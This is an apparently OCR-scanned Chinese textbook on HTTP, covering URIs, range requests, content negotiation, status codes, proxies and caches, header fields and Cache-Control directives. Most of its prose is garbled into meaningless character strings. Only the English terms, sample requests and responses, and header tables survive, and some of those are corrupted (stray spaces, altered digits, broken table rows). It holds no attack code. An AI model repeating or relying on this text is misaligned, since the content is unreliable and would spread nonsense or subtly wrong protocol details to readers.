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1.1 {E A HTTP i i/ /5 Web

IRADIE M3 HEMTTAEE8S (Web browser) BUBIH=PHEIA URL BY, Web ER
WIS MENS 2

SR TR I A= P A URL BT, ETLUE 2| Web FLH
Lg%, BMERT T BREZERE, thiEFE WebTTH

AR EH NS AURLZE, ERSMETRL

RSN RIE, B ~TEWeb TIH

Event/Learning
Media B

Web MESAREEER TR, ARIE Web 38232 PISER) URL, Web 55
23 M Web RS BSImIREN 2R (resource) HEF, MMERHE Web TIE,

BB R BERIREVR S E3 BROY Web 3315885, BIMNB n (client) o
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Web {53 —Fh39 HTTP (HyperText Transfer Protocol, B3 A4t 1) B9thiY
TERHE, FERNBPIREIRS SRS —RIVGERIE. MIDIRIBMNEILE,
LR, Web RETIE HTTP i LiBE6E%.



1THTTP BERIFRNBIAMERMIDIY, BXIFEFATTE, MEF2AZN B
NARFEBDW . BRAI—FEZHUEBN, ABDERBA. BHBNRETSER
RAXBIMBFITS : http://mwwituring .com.cn/article/1817, PFE5T



http://www.ituring.com.cn/article/1817

1.2 HTTP 8Ot &
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121 RN RAZMALL Web

1989 F 3 3, BBARIAR BT DA, AX—BEMEIRH, HTTP LS.
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LR P EIAFE N I ZARENNE.
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1993 & 15, WA 52869%85% NCSA (National Center for Supercomputer
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g;(?ﬂﬁ%é ERRNER HTMLOER, EBEHEHENRIETRREETEE
T

[BEMEK, Mosaic B9 Windows fF0 Macintosh fREH, @A CGl 5 AH NCSAWeb
fR%588. NCSAHTTPd 1.0 thE=RLRIEX TN HIHINA.
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e The NCSAHTTPd Home Page (751%)
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IS0

1994 F W12 8, MNSBE/AT K7 5 Netscape Navigator 1.0, 1995 FEHIENAT K
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e RFC2616 - Hypertext Transfer Protocol -- HTTP/1.1
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BRERHOME (BEHN) 27 TCPIP IRIEN Hin(Fi. mHTTP ET
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23 ARP DI EfE MAC i iIE i 1T 3815
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1.7 URIF0 URL

'—j URI (4i—FRAMRR) 48th, FHAE IS URL (Uniform Resource Locator, 43
BHREAIRT) - URL IERERA Web 334588517510 Web BN TR EH A BIM T
nro b0, TEE http:/hackjp/ ®i2 URL,

hackr

171 F—BIRNRFT

URI 2 Uniform Resource Identifier 19485, RFC2396 ) 3IXX 3 Mg T ST
TE Mo

Uniform

MEA—BMBRITLRMESHRBXDNER, MAMEIRE L T SOMNERRAIE
IRIBENMIESN. R, MAFBODIIEER (10 hitp: X fip:) tBES .

Resource

BHRBVE MR TRRBUEIRT s bR 5. BRRIRS (IS RHRSM
) FEBXATHMELD, 2HIFENER. 29, BRIMIGURL—H,
HIYURLHNESH.

Identifier
RMIIRRERIR. HIRRIRT.

ZEPTA, URISIRBE MO RERTNERNEUFRNT. DISRZENHE
BORFIE AR RIR,


http://hackr.jp/

KA HTTP hiley, 1hiNT5ZRRIZ http. FRILZSN, & ftp, mailto, telnet, file
%, WERN URIDINGRE 0f04s, BRBTEMEHMEBREENIESHILE
ICANN (Internet Corporation for Assigned Names and Numbers, 5ExMNSIRSH S
SHEAEAIAE) 69 IANA (Internet Assigned Numbers Authority, BEXWSHIZNES)
BIBMA.

@ IANA - Uniform Resource Identifier (URI) SCHEMES (45 — & B 1R &F
=

= )
http://mwwiana.org/assignments/uri-schemes

URI BZFRRRE—GBMER, M URL XRRERMNR (BN _EATAEML
Z) . TN URLZ URIHIFE,

“RFC3986: Si—EHRIMRT (URD) BAIEE" PSP URIBIS, TATT.

ftp://ftp.is.co.za/rfc/rfcl808.txt
http://www.ietf.org/rfc/rfc2396.txt
ldap://[2001:db8: :7]/c=GB?objectClass?one
mailto:John.Doe@example.com

news : comp. infosystems.www. servers.unix
tel:+1-816-555-1212

telnet://192.0.2.16:80/
urn:oasis:names:specification:docbook:dtd:xml:4.1.2

ﬁg%g%ﬂ@’é%ﬂb%ﬁgﬂjﬂ URIX MRS, HEFRDEMHNELM -, BT URL

1.7.2 URIFE I
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MIME #3553 il

FIREMEFEY, BANIUEMERSANZHRISOM . XRERVKA S

MIME (Multipurpose Internet Mail Extensions, ZFRERFEMEREYT E) ik, B
VFEMAERMESAR, B, S S M REIXESEIE. B0, BAE EEIEENU
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7 Web R HEREA.
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°
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Content-Type: multipart/form-data; boundary=AaB@3x
--AaB@3x Content-Disposition: form-data; name="fieldl"
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X EEFR, BIEEHER.
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THIS_STRING_SEPARATES) , MELINIZESWNNSITROREEN -
FRC (BIW0: --AaB03x--, --THIS_STRING_SEPARATES--) {EN%55R.

SUNNZECNEMPHELD, BIUSEEBZER. 25 FUEEMRD
s}%%i@%%&ﬁﬂ%%%a BRIDPONREESEIFANER, BESE



35 KRB OASHEBEERK

DApl, APREEEAIEXIPERNTENIFEEN, Sy, TEH—RIEAN

BARXEMEARIZOIT . WRTHIEZPBRINEPUHIST, ARNIREX

gﬁ}gggﬁiﬁﬁﬁ, HBRITIMESHH. PMERERIBREMNZBITHP
M o

2IMZVERBIEE THNRERE. BXE, BERERXNBERIUBTEERE
K (Range Request) .

?]gg\jo 000 R A/NBIEDR, WRIEMTEER, YUREK 5001~10000 575

GET /tip.jpg HTTP/1.1
Host: www.usagidesign.jp
Range: bytes =5001-10000

&
~

B %35

HTTP/1.1 206 Partial Content

Date: Fri, 13 Jul 2012 04:39:17 GMT
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

Content-Type: image/jpeg

NTEEEREN, SAZEHZE Range SRIEEFIRH byte STEH.

byte SEEBVEREF A T.



e 5001~10 000 52 15

Range: bytes=5001-10000

® 5001552 52 EEY

Range: bytes=5001-

o ) —TFF8 %] 3000 5 550 5000~7000 % N2 & EEH

Range: bytes=-3000, 5000-7000

EHXBEER, IMRAIROMRTSES 206 Partial Content SO0ARIR. B5h, XIF%
%EI@%E@%X B = 7E B H2E Content-Type #7683 multipart/byteranges /5i&
G2 o

WRRFBSBIHAEALSEEER, WEROIRES 200 OK FFTEOUAAS.



36 NEMFROKSENAS

[B—" Web MISHE JEEBEESNBRINSHNE. tHIZIBIRFAPIARE Web 7T
B, ENASLS8E, BERESARE.

L BESBIRINBS NEBRPN, 5948 URI 89 Web MEE, METRXINE
SIBRRONPIAREY Web T E. XAFEIWLAIFRIASDE (Content Negotiation) o

RHENE SRS &S

— Google

i —

L L T
B TEETE
AN E R

Google
I

]

BT ME
: 1319 http:/imww.google.com/

ASIHEHEIRIEE IR SR MMM N FHRASIHITRS, RERiteEr
%igﬁﬁmﬁﬁaW%mﬁ%&mm%%%%%‘?ﬁﬁ‘%ﬁﬁﬁﬁﬁhﬂ%

BSEBERBYPNELERZER WT) MBAMTELE. XLERZRINEED
RPESET &,

e Accept
e Accept-Charset

® Accept-Encoding


http://www.google.com/

e Accept-Language
e Content-Language

ABIHERARBUT 3Fh2E,

IR %5 2238 #1175 (Server-driven Negotiation)

BIRFEBIMEHTASDE. UERNEPZRNSE, HRSSHEME, B3
FP#E, DUNEESARIXSRIERNARHKE, FA—ERMEHRIEAS.

2PN INE (Agent-driven Negotiation)

BEFIHHTASDENS N BPMAEEERNIETIRDFMNER. BT
DURFS JavaScript BIAZE Web TUE_E ST Eifyshe. Lba0ik OS BIFK AU IE
25EA, BT PC RRITEFHARAE.

#EBAE (Transparent Negotiation )

BRSNS ISR, RBRF SIS S S TAS DR

V5o



£4E ROBRE HTIP R

HTTP R ABIRIE Ll HTTP EROROSR. mCRESShIMERS
;%H%HE%DMEEBE%E%IVEC IERNBEAENSY, BE SR TRSEBNIE




41 REBSHMNRSSBHEBEONBERER

RIEIRFTR HE P OIR SRR BRE, BARDIEKRER. BEPRTE
13, BPIMAERSSEIMRBERRME TER, EREM T #HiR.

B RS 2XX

/ w5

?

Hpmree
B B IRAELAXX, XX
R

RSB TEREROBIBER

b

R340 200 OK, MU 3 U ZAIREIZIELE.
HFPHOE—NIEE TR, TMUTHE. OEENEUT 554,

T 41 RBBOES

%3 RERE
: =]y
poc || pormatonal (SEEAT BIEVEREE R
2XX Success (ARIDIRAES) BREBLIBTTE

Redirection (EE GRS TR THN0RIELATTAL



3XX ®) BKR

43X S‘(I%%n; Error (BFIRIEHIRR R BT E R BER
Server Error (R 835512 T
SXX ) IRS3ESAMBIE R S

REGPATISEBIEN, BN RFC2616 PiEMHVATD, SARBEIMET

)

BRI ERITR.

{2 RFC2616 _EBY HTTPIRZSEDRIA 40 fh, EFE N0 WebDAV (Web-based
Distributed Authoring and Versioning, EFH4EMBYDAICIEFIRRAIZS])

(RFC4918, 5842) FOKIA0 HTTPIRZSES (RFCE585) 54 /&, éﬁ(%@ii&&)%
o, PIBFREL, Khr FEBERPNAMRE 1450, B TR, BIWNEB—TX
LEFRRME 14 DR,



4.2 2XX AN I
2XX AR SR FOFERWIER RS

421 2000K

#1E K IEH A NHRE 200 OK BRé588
REMBPIRRRENERERSSITRERBLIE T,

HRIRYA, RS —RRONESSBENREMALENZE. i, ©A
GET J57AN, XRAEKEDROSHASIFNIALIRD); MMEEA HEAD Jo7AN, YIRS
ﬁ&%ﬂ%m%@gg?&xﬂ@ﬁii%%hmm&@ (BN PRIZOEE, AR0
SKRBYEARS °

422 204 No Content

bk E R
BRERRETRE

ZRTBLRIR S S HINENERC RIS, BIEIROINIGN IR PRSSUAHE
A8, RO, ARRVPROEMIMERER. 0, DU REIERE
B, RO 204 0857, ABLMs5es BREVRERREEH.

—MBERFBENESFPHARSBREER, MUBPHARERXTNERASHNIE



TR,

4.2.3 206 Partial Content

He! RARRY -
R P

ZRTRRABLIHT TCEER, MRSSMIDRNT T XEBOH GET ER. 03

RNRX DB 2 Content-Range 5 EBEMISANS.



43 XX EFE O
XX MRS REGIN 5SS FHE BT R LRIV MU RMBER,

4.3.1 301 Moved Permanently

BB URI B §45. Mt @
T RaBE 3 ME?

SIANEE

X

a

EPE R

KAUBRED. ZWRTIEIRRBROBREWDE 3 FHH URI, DUSRIBEMAZIRI
EPTIEE URL, HgiRy, WRSLEBFHEILN URHRBADES, XNMZR
Location &8l EIERE URI BHifRT5.

%gﬁéﬁﬁﬂ'ﬂ%ﬂ? URI, SIEERRBENRERICMIBL, fEF=LE 301K

http://example.com/sample

432 302Found

F:Ber vRl Blbed Rl
HemEl. sA¥he
BroEx A ERT.




ISRMEED. ZWRTIEBFRERNEDRERDE ST HH URI, FLAF (AR)
AEREMA3AEY URI 131

%D 301 Mowed Permanently JAZSASAB1, 18 302 RASEBRBVERA R W RARLHN,

SIBHMERR. BO1ER, SBIERNNN URDERIAE IJRERENE. th
m %Fﬁumﬁﬁﬂﬁﬁ.EK%@3M%EEEEN%&£E%$§.%E%
|BIRBIRO 302 RZEIBIAENIAAY URI,

4.3.3 303 See Other

FBo Rl B @3 RES
B ed ey URI i ig?

jé/ﬂ\ié,uﬁéirﬁﬂaﬁciﬁﬁzﬂmﬂ'ﬂ?ﬁiﬁﬁﬁg%—/\\ URI, RzfBMA GET /A EQKENE

303 JR7A340 302 Found RIHIE SABEHILIEE, {E 303 RHIFMTRTE IR
KA GET HEHBRAR, S 02 RERE X

th80, B3 POST 75541318 CGl i2fe, HAUTEHNAMBSREHLEE RN
GET S7AEEMHEIS— URI L6, 1RO 303 JK’&S\EEJE E% 302 Found YA7ZE3 12

FLISIUERNTIEE, BIXEIEF 303 RASBREIEN. |

1 ABRAER HTTPAA, TS HTTPA1 ARBARIOUN 5 85N A IERRIRAE 303 K7
2. 2 RFC 194540 RFC 2068 %A’EIﬁtﬁ%F’m?‘iEﬂHﬁE TERWSE, B
RRZBIFEIRLEESR 302 198400y 303 0aK7, FEEEFA GET 753I3E Location
PHLIESY URI, MAMRFEERNTE. FIAUFERIXBEA 303 LKIZEH.
—FET

24301, 302, 303 0ARZATSIDIROE, JLFPIEEIAKEEIE POST X
B GET, HMBRERBYANER, ZEEREENEBREH,



301, 302 FRAERBALDR POST JoyAEE AL GET J574H], TMERK
RFEX LMo

4.34 304 Not Modified

FE.#HJ

EE ekuEF
w3k

Bt & #6918 K

. ,

FERSH

ZRSBRTEF IR RIENER 209, BEBHMATHERNDRE, Bk
BERHNER, 04 RSDEDN, FaSIEMENNERBRS, 304 BRKIH
XX XRP, BRUOBEORERR.

2 (Y FAHEIEREZIER A GET /37E80iERIBX DA S If-Match, If-Modified-
Since, If-None-Match, If-Range, If-Unmodified-Since di{F—&3,
4.3.5 307 TemporaryRedirect

IENEEB. ZIRTIIS 302 Found BEAEENZ . RE 302 tnERLE POST &
Ak GET, {ERMEANARHFNET.

307 A@B.’i“ﬂ‘“%%h’/& &M POST 256 GET. 182, XIFAMBIOMEENTH,
IO Y55 B TR BNIE)T.



44 AXXETFIHEIR
AXX BN BREAS IR R EHRNREME.

4.4.1 400 Bad Request

KR EERE 4
£

ZRTERMNBERBIPBEEDEEIR. SERRLEN, BENERNASTBHER
RIEER. P, AYEEEE 200 OK —FHEXIRHZRTE.

4.4.2 401 Unauthorized



% 2°RIRE 401

(153K 28 & Authorization

credentials )
Authorization Required
This server could not verify that you are authorized to
access the document requested. Either you supplied the
wrong credentials (e.g., bad password), or your browser
doesn't understand how to supply the credentials required.

RSB RTRFINESKREEE®I HTTPIAE (BASIC IAIE. DIGEST IAIE) 89
WEHER. BINSZRICHITIY 1 RiEK, WRTE PINEER.

ROSE 401 BARZNAE S — MNEBTHIEKFIRE) WWW-Authenticate & 8F3 M
EIDE (challenge) FFER. WHMEEIHIRIEIE 401 1057, FERELINERBIXNE
&s0.

4.4.3 403 Forbidden

& fi 3F 3 i #p 4
w B




LA REVERERNNIVRIRBBIBB T . RBBIMRBNBRGHIELNE
@%EE%?%@H@EESE, IUESRANEASONVREH TR, XL

FIREX ARV, HIIPREIMELLEE (MRRREVAIRR IP SN
Eia)) FIENBREBIER AL 403 HIRE.

444 404 Not Found

MERETH KT R

Not Found

The requested URL /a was not found on this server.

LR RSB B LERBNEROER. Rtz BIUERSBSBIHIELE
KREMERIFIRBNER.



4.5 5XX R %83 iR
5XX QIR SR RIMR S BEAT REHIR.

4.5.1 500 Internal Server Error

S hBERE

AT RBRBSBIMEAMTERIRE THIR. BBTRER Web B3 bug
R LI Y 9B

452 503 Service Unavailable

g WEKRELE

P e

ZRTERBIRB B DN A TBARREDRTENLER, NETEVEER. 20
RBIBAURRU DRRTFRONE, BESA RetryAtter ERFERHROSES
o

REBIRTHAR -

AR OBPRASOME R IR, BRAPTREREAII M. i
%mmﬁE%W%ﬁiﬁﬁ,%ﬁ@@%ﬁ@mmm.ﬁmﬁﬁmﬁﬁﬁ
2






$ 55 5 HTIP {){FBY Web fR5538

— 86 Web RS TBRED MRITAZE Web Wis, tBIIFNBERE LHNPERS
ERFERUE,




51 AREEUINIAZIEAS

HTTPAA FISEAW —6 HTTP RS ESIEES M Web i, LI, 12{E Web FEERR
%5 (Web Hosting Service) 8977, TJMUE—BIRSBNDUZLOMRS, HIUN
BUBPRHENESETSERNENIG. XRENFABTELEN (Virtual

Host, NARSELUIRSSES) BILDAE.

5@1@%@%@?\ —BF58s, BRZEMELINOIE, WIMREEEBS

BiR%Es.

REHE

www.hackr.jp

xss.hackr.ip

%gﬂ%@ﬁﬁ HTTP hiiAiRR S es0, SERBRAEL, wwhackejp XHFHIEHBF0

EEEN £, S2i8id DNS RS589 IP it CR2EEHT) ZBWIREmmMis.
TN, SBERREFRSSEN, 222U IPIEIFERBaS.

P, WR—ERSBAILE S wwwtricorderjp 50 wwwhackrjp IXFMIE, BIE)
BRNMBREFERARZHIO 2.



#www.tricorder jp # www.hackr.jp FET S BE R — T R E
3 (A EEIPHE ), 2 F ONSIRE BRI E, W
[B] P bt 2 A,

8RN IPIIET, BFRUINIUTEZ AR EHSF0E269 Web M,
TR AR HTTPiEKREY, WI7E Host EEIAISEEIERE £ 2305369 URL.



52 BEHERRER  LE. MX. BE

HTTP BISH, BEFImRSEMUN, BB — AT BEHIRRANNAER, Fl
WHRE. MXARE. eiIUELERS5SETIF.

XL B FPAAR S S T USSR R O BE LIS L0V N —I6fRS388, FHEREI
MABE AR 3538 RSN BT REG ST

v

RIBR—MEERIENNABIER, THESUTRSSHIS i DN NAE,
iﬁgﬁaﬁ)ﬁ'mﬁiﬂﬁlﬁﬁﬁ%ﬁ 5iR%Es, BN ENIRS ROV RS
Bl

XS

MK B R EANAR S5 e B IS BRI 583, BUNME IR RFRNIERE, EfE
SoAERRNRRSS —FNEHTARE. BNEFHIEBASRE, 82
HBEEErt—TMX.

& &

%E&E*Hﬁ%iﬁﬂ@%?ﬁﬂHE%%%%%ZEW?EF%. FHRE WD @IS IR
ESREN

EHRS R

RERBSENEATAMBRNE P AIXIEREEAGCEMRSES. (TERN



LIEK URI, ZERRRGHISREHRNERRSS.

ggﬁﬁ;%mm%ﬁﬁmhﬁﬁ%ﬁoMﬁﬁ%ﬁﬁ@%m@gﬁﬁﬁﬁ%ﬁﬁ
Ear=da i

GET/H‘ITP/1 i GET/HTTP/1 1
'\ Via: proxy1 | Via: proxyZ proxy1;

WHIBIRAE 1 200 OK-
l\/la proxy2, proxy1. l~ Via: proxyZ

B: SXRBIRERSSHEABERKNAMLE, SEBNSA VaEEER

A HTTP BEEIEDP, TRHSEIERS . BRBMAEASTETHEED
ﬁ% FERRRAVCIBIRSES. RN, TR Via BBFRMUFCHEINE

GET/HTTP/1.1 |

B el U s

Ak tdydf

B RIBARF 25
IR 5 AR AED A RIRAR 55 88 ST R RIS x 4 2 R Tl #9324,

ERARERSENESRT: ﬂ%%ﬁ&ﬁ(%?ﬁ%)@mﬂ%% ERE, AR
ABERFEMIGENHIREE, CUREIDEBHEAFEEN, 55,

g%ﬁ%@@%ﬁ%,Eﬁm%&ﬁiafﬁ%%ﬁﬁﬁ%ﬁ.%*W%Eé%@



RBERE

IR RN, 751U (Caching Proxy) SMFGREIRMEIR (£75) REE
IR L.

LHEERBWEXBRIZHREERN, MIURMWRRSSEMERMER, M2
2 BIEBOERIFNIBAIRD.

BHMAE

FeRIBRARZEY, AR TEIRIZREUZATIYFEIACIE (Transparent
Proxy) o 2z, YRXASHTI ORI N B,

522 M*E
HTTPiE %k ;
B HTTP oA EHTTP RS 2

: MAMXTUS HTTP BEREANEMDIBE

%g’é%ﬂﬂﬂﬁﬁﬂﬁﬁﬂ—ﬁ@ua MR A EBIS 488 RS ESIRHELIF HTTP 1D
1

MEMXEREBENZ 2N, FNTUESZ IHSMK ZGH0BELE LB
BRERNZ S, I, MATLUEESERE, ©FfF SQLIBOTIIHE. 2, &
Web 4205 EH{TERFEEN, MXIUNSHEFEERABKN.

523 [xiE

BE TR RREITE— RS EMRS SRS, BIVEM SSL ENBFEIHIT
BiE. RENENERHRE AL SRBEBHITLZE0BE.

BERGASEMAT HTTP BR. HRIRER, BERERFGRFPES 2E0RSS.
B S BE N M THERN SR,



B RENBELE
5.5\




53 RERRNES
EBERBAERS SRS P HAMNEEAREFNIRIIR. MNEEEFI/OITRE
3BONIE, BHBMDE T BERENBENE.

EBRSERICIBRIZEN P, FIIREEGRIPXID, ROIER, SRR
ARMRFSEBRONERE, LBRSSRERE —HERNEIER,

BfREE Rk E
e N

R TR, BEEREE
index.htm | FRTIFLET RS |

FRATENFCRWEFN B ROl

7
28R RS A TIA
index.htm | ST ERAGEME

HiriRsE

EBERBIBONAETNREGFIRRZRNRRSESEAER. BHEFHIR
IENEBIRS e LIREEDR, MRIRFSESEAUZRMBBEIIERS .

531 EHENBRBR
AIREBRIEANTES, HAERIESRESRONAHROER. BNXXA



R ERNBRIEIIR.

L8 DRIRSES LNFRBMN, WREREAIENES, PASTEREMROE
A I8 EIRS .

BEBEET, BEENBLHNBRR, EENEMASER, ORRSSHAR
REVERME. SHMTEERY, EBRSSGEERMRIRSEE LIREH 5.

A EEE M.
%GB B Bk T

FFRES TRER %88

index.htm index.htm
A BE8EtE KEEFN AR

532 B IMNES

EEAMOUSETEGRSEA, BIUSESFURANED. M Internet
BExplorer #2210, BEFPIREFIRNIGI ML (Temporary Internet File) o

NISESEFNREY, MAVBEORZFZEREANTRS, IUEEMKIDHEE

W»Eﬂa

296, FEGRFZBELON—RR, BHTEGIRG, SORRSEHATRE
B, S¥MTAREFEY, AEREBRIERHER.



WAEGUE T
1. kG:RRF R
Wik T

B Rk

index.htm

% HTTP B3 2 Al 891D

£ HTTP BRI, UM NEEMOVEERES, SHILTSNSHFN
i 7E HTTP MBI IR, SIES115E TR, hER
%@%MEEEMEEwTAmmﬂ§Q§T%.ﬁm%ﬁ%ﬂﬁfTﬁ
e

FTP (File Transfer Protocol)

TSRS BRI, ZIDWANLAG, TIBHE 1973 Faif5, th
TCPIP ENEINAR R, BRESE 1995 4% HTTP (RS
(Traffic) B, BRNESH, D ZBMA.

NNTP (Network News Transfer Protocol)

AT NetNews B3 2WEANEXEFEMNN. £ 1986 FRIGLHI, BT
REZH LD W, FAB Web TIRMSTEMINMR, PILILIDINE
BRELERT.

Archie

% anonymous FTP AFFEINHS RN, 1990 FRIGHM, MAESE
RN,



WAIS (W ide Area Information Servers)

IR BIINRD MUEEBANMNIN. 1991 FRIGHER. BFNESER
HTTP &R, BEERNEARAT.

Gopher

ERSERMEZNUENASTODN. 1991 FrISENR, HFREDS
SR HTTP PIEN, HRENELRAT.



#£6Z HTPEM

HTTP DIENERAARLE L PNER S HTTP B8, REHA VLB Web 5
%EEIJ@&KEUED KERN 2R HTTP BERNGSN, UREBRPSTRH



6.1 HTTP IR X &

I szsummsnsmy
EEXEREENHELNL
FEFEEA

RxEs

C mEEnAPOEEaE
BRI

B: HTTPIR X MES13

HTTP (i BNER AR L PINER S HTTP 58, SHASNE InfiRSS s
DRAREBERBAAMTRRNER. NTSPHBIXE, XLEBPEIRE
DABELICREES.

RIE B/ ERAD.

HTTP 5K R X
EERP, HTTPIRX /5%, URLL HTTPARA, HTTP E8RBELN1E6K.

e “}. 7 iE. URLL
RrEs preresTpp— HTTP iR &=
. B S > HTTP & An el
LEEETH [
s

B: BKRRX

TETHIRIIE http://hackejp ¥, ERBINEBET.

GET / HTTP/1.1 Host: hackr.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.8) Gecko/20100101


http://hackr.jp

Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

If-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMT
If-None-Match: "45bael-16a-46d776ac"
Cache-Control: max-age=0

€ >

HTTP 07 7 1 32

FE0ARZP, HTTP B HTTP IR, RS (MFHREREIE) . HTTP B8R
3 B

e RER } HITR 5%
o N R '| HEH
SR CR-LF] -. Cll-nEd s HTTP &30 ek
EREHTE |
HEEik Hib

SENICIVE S8

BURTMBIRZRIERIIA) http:/hackejp/ Y, REIHIARN IR IBIEEIER.

HTTP/1.1 304 Not Modified Date: Thu, ©7 Jun 2012 ©7:21:36 GMT
Server: Apache Connection: close
Etag: "45bael-16a-46d776ac"

ERINZNFERED, HTTP ERFEROSNETHRNFE. ERFRANBET
BRAERHRIA, FHRE HTTP IRUEXIASTER.

A HTTP WA BB EN, BBRFTRIZFNTEASTEBEAE. DXL
W HTTPAA REANES TR,


http://hackr.jp/




6.2 HTTPE L ZE

621 HTTPEHZRERERER

HTTP S8R 19p0 HTTP RV NB R — AF SRS ZIEUHTTP i)
%ggggggﬁ¢.%m%%mﬁ%mmﬂ%@mé%?ﬁ.2%@@%@@%

EE@E@?E&%%?éﬁ?ﬁﬂ‘)ﬁ\i%ﬁ%ﬂHE%%%}E@%}&SZIWXU\‘ FREMBNES. IS
o

TS

REFRAOTHEBRT &
FWe . SEE .

# R Apache BH . Mk
s B ehfE B R b ig05?

B: EBFRATEANRNESRS

622 HTTPELFZEREMD

HTTP BBFREHEPFRSNFREBHN, PEIRES™ DiR.

HFBA: FBUE

P20, 7 HTTP E#pLL Content-Type X NSRRI E KB XS KA,



Content-Type: text/html

MU LETEIRE, BEWFEREBI Content-Type, FHFEB text/html 2FER(E.

R2ON, FREXNSNHTTP ERFRIUBLME, WTHHT.

Keep-Alive: timeout=15, max=100

EHTTPEYZRESE TRWE

L HTTP RN EHDEN T PIIM U LRBEAELFRBRNEEL
2 XPEREMNTAMKYNR, RIBNSSABLMIBEENRG, BR
TEEHA—H., BENBRAMERMEE-RENNERZE, MELN
2R BREENNEBTR.

623 470 HTTP &80 5 £ 3 A

HTTP EEFEARBRITAREONUT 4 FpKAL,
BAEHSE (General Header Fields)
BERIFOORER S BB RNE .
BEREHWSEL (Request Header Fields)

MNEPIRORFSIHARIXERBIINERNER. 178 TERNFNAS. SFIH
52, WRZASHEXMERFES.

IR/ & 8B EE (Response Header Fields)

MRS BiImO=PimE DINHR I EANEH. H7 SOEBNIAS, BaR
KRBPIRHNFIMIASES.

SRR E B S (EntityHeader Fields)



EFXNERIRSANARAR T NTIA B EBNER. 7T HRASTEFHNEESRK
; =

FEXRHER.

624 HTTPNAEEZEE—15

HTTPAA FSBREN ST 47 5T K.

®61: BREEHTR

gPFES B

Cache-Control EHIEENTN

Connection R E. EENERE

Date BIRIR B BHANE

Pragma RS

Trailer RICRIFNEB—8
;iﬂig B IR AREUSRARIS T
Upgrade FHRNEMIDN

Via HIBRSBVBIEBKXER

Warning HIR@BR



® 62 BREBRR

ERFRS B

Accept BPREBTRMERRAKRR
Accept-Charset MENTRE
Accept-Encoding IR BYRID

e RoEEIES (SMIES
Authorization Webl\IES 32

Expect ARG SSRETN
From FB P BvEB S #RAE L

Host BERERPTERS S
If-Match LB SR (ETag)
If-Modified-Since LR BRI HTY 15
If-None-Match ELRSUAHRIE (5 Ii-Match 18%)

If-Range FHRARE Y RIESUA Byte 8BEBK



L unmodifiec: HE SRS IE) (5 I-Modified-SincelEfs )

Max-Forwards RAEERBEL

Proxy-
Authorization

RERBBZRBLIMEIAESR

Range KHRNFTEEIER
Referer SHER P URI BIRIBIRENT
TE FERRISHUT R
User-Agent HTTP ZFIHERNES

®63: MNEPFTR

ERFRB A

Accept-Ranges REBZZTUREER
Age EERROIBEINEG
ETag BRNLEER

Location SBPIREEBZEEEURI
Proxy-

RERBEBNS KNS

Authenticate



Retry-After STERRIEIERINMNER

Server HTTPIR S BNLEEI
Vary HIERSBVBECSNERER
WWW-

RS EENIEFIKONAES S

Authenticate

=64 KEEPFR

EEEEE H

Allow R ROHTTPS%
‘E’:ij’i‘;'g SR REANREHR
f:n’gi';;e REEANERES
Content-Length SHUREHRBIRN (B )
Content-Location BRI EHROVURI
Content-MD5 KEFHENIRIEE

Content-Range KA EENNETE



Content-Type SR RBIE R RY

Expires SHEREARI I B ARG

Last-Modified FRNSGBNBEANE

625 JF HTTPNAE PR

£ HTTP UBER B DERINE TR, ARF RFC2616 hiENH) 47 F0EH
SER., I Cookie, Set-Cookie 0 Content-Disposition E7EEl RFC hiE W HIEHH
FE, ENOERMmEDRS.

XEIEF R E B RS — I RFCA229 HTTP Header Field Registrations 7,

6.26 End-to-end & #F0 Hop-by-hop &

HTTP S ERIBE XREFRIBIIFEFERNT N, DL 2 fpxHl,
% F) IR & &8 (End-to-end Header)

DELERPHEPSFERGIER [ MNINNRALENER, BVRRGEDES
EMHIAR P, RIMIECNITHETER.

EHKEE (Hop-by-hop Header)

NEWEBIPOEPRVUERELEN, 2RBIEFHRBMABER.
HTTPAAFZfEhRAD, UIRZIEMA hop-by-hop &5, Fi2#t Connection HE%

o

TEIIET HTTPMA DHERBEBFER. RX 8 MEHZRZIN, HEMPTEZRE
BT IREREE.



Connection

Keep-Alive

Proxy-Authenticate

Proxy-Authorization

Trailer

TE

Transfer-Encoding

Upgrade



6.3 HTTPM1 BB ELFR
BRSTZRREE, BERGIRNR RS ESRANE .

6.3.1 Cache-Control

BUHEE E YR Cache-Control 18, REALRIEEF O TIENH

W GHEGEL R

REREH

. B8 R Cache-Control S 817 il 4 15 V4T Y

ESHSHEINN, S NESZERT""DMR. B3 Cache-Control B355T
BT EKRRIBAZY.

Cache-Control: private, max-age=0, no-cache

e Cache-Control 155 — 15

IABHIESIRERFGRN DK T .

*® 65 HFEREDS

8BS ot B0



no-cache Vs R DIRAR B EBBRIIE

no-store 7 AEFBERFAGOETAS
maxage = [ )] 2 SISV A Ageld
g
max-stale( = [ #)]) D E ANl v
B
min-fresh = [ #)] U%\ AR RENEANERANEH
no-transform % RIR T BRRAAKTY
only-if-cached Vs MEFIREVER
cache-extension - FHESHRIC (token)
* 6-6: BHEFIINES
E
B8 g& 1588
public % ORI NES
=)
private 4 RO ER RO
B8

0|



no-cache

no-store

no-transform

must-revalidate

proxy-revalidate

max-age = [ #)]

s-maxage = [ #)]

cache-extension

RTRROEEBTNES

public 5%

Cache-Control: public

& Iy

EBERINISERARBRUIE

REFERRBLHETAS

IR EIRAER

JEFEVIBOIRIRSSET
A

ZRPIFEFRZENEFHIG
RIBERIEEHTIRA

AR ERAAge(E

AREBIRS SR AAge
El

FHESHRIC (token)

LIBTEEAA public BN, NEHERBAEMBABIFNBES.

private {55



B

Cache-Control: private

LIBTE private 182/5, 1IN RUFENAAFANS, X5 public IESHUTNE

ZBRBECVEZRERPRHBDRETNRS, WTEMBPRRIRNEK,
HRERFZSBUADROES.

no-cache 5%

BPHAE

£ R PELYS
LY L
HEEROTR

BP ZERSE

RITKEG, @FFER
H2RkOR@WU-T

BEBROAL

Cache-Control: no-cache

{883 no-cache IESHIBHIR N S LE N E B DIROLIEANE




BPIBRXINER PURES no-cache 15, NRRBLIHEAREINEZIHNG
. TR, “PENEFRSSULIILSPIHERERGRIRSSE.

WRFFEROAN PEE no-cache 155, ABAETEIRS B RENRIRIHITE
B RRBBUSHRABNESRSBERPRHNFTREWIEHTHIA, B2
IERV0aR R TEFIRIE,

Cache-Control: no-cache=Location

BRSEBROBNERN P, BRI GEPE Cache-Control XY no-cache FEREIK
EESHE, ILBP IR BRI MRIEE S AN E S5 LRI AR R S

